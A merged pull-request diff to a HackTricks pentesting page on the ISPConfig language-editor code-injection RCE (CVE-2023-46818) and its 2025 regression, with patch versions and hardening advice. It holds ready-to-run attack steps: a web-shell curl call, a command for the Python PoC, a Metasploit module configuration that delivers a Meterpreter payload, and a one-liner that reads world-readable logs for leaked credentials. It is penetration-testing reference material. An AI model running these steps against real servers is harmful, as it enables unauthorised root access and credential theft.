Merge pull request #1867 from HackTricks-wiki/research_update_src_network-services-pentesting_pentesting-web_ispconfig_20260206_131312

Research Update Enhanced src/network-services-pentesting/pen...

Author: carlospolop

src/network-services-pentesting/pentesting-web/ispconfig.md

@@ -74,6 +74,18 @@ curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
 
 If PHP is executed as root (e.g., via `php -S 127.0.0.1:8080` started by root), this yields immediate root RCE. Otherwise, you gain code execution as the web server user.
 
+### 2025 regression (ISPConfig 3.3.0 / 3.3.0p1)
+
+The language editor bug resurfaced in 3.3.0/3.3.0p1 and was fixed in **3.3.0p2**. Preconditions are unchanged (`admin_allow_langedit` and admin login). The same patch also addressed a monitor XSS and world-readable rotated logs.
+
+**Notes:**
+- On 3.3.0/3.3.0p1, world-readable rotated logs under `/usr/local/ispconfig/interface/log/` may leak credentials if debug logging was enabled:
+
+```bash
+find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
+```
+- Exploit steps match CVE-2023-46818; 3.3.0p2 adds extra checks before language editing.
+
 ### Python PoC
 
 A ready-to-use exploit automates token handling and payload delivery:
@@ -85,9 +97,25 @@ Example run:
 python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
 ```
 
+### Metasploit module (released July 2025)
+
+Rapid7 added `exploit/linux/http/ispconfig_lang_edit_php_code_injection`, which can auto-enable `admin_allow_langedit` if the supplied admin account has system-config rights.
+
+```text
+use exploit/linux/http/ispconfig_lang_edit_php_code_injection
+set RHOSTS 10.10.10.50
+set RPORT 8080
+set USERNAME admin
+set PASSWORD <admin_pass>
+set TARGETURI /
+run
+```
+
+The module writes a base64-encoded payload through `records[]` and executes it, giving a PHP Meterpreter or custom payload.
+
 ### Hardening
 
-- Upgrade to 3.2.11p1 or later
+- Upgrade to **3.2.11p1** or later for the original issue, and to **3.3.0p2** or later for the 2025 regression.
 - Disable the language editor unless strictly needed:
 
 ```
@@ -103,5 +131,7 @@ admin_allow_langedit=no
 - [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
 - [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
 - [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
+- [ISPConfig 3.3.0p2 Released – Security Update](https://www.ispconfig.org/blog/ispconfig-3-3-0p2-released-security-update/)
+- [CXSecurity WLB-2025070017 – Metasploit module for ISPConfig language_edit.php](https://cxsecurity.com/issue/WLB-2025070017)
 
 {{#include ../../banners/hacktricks-training.md}}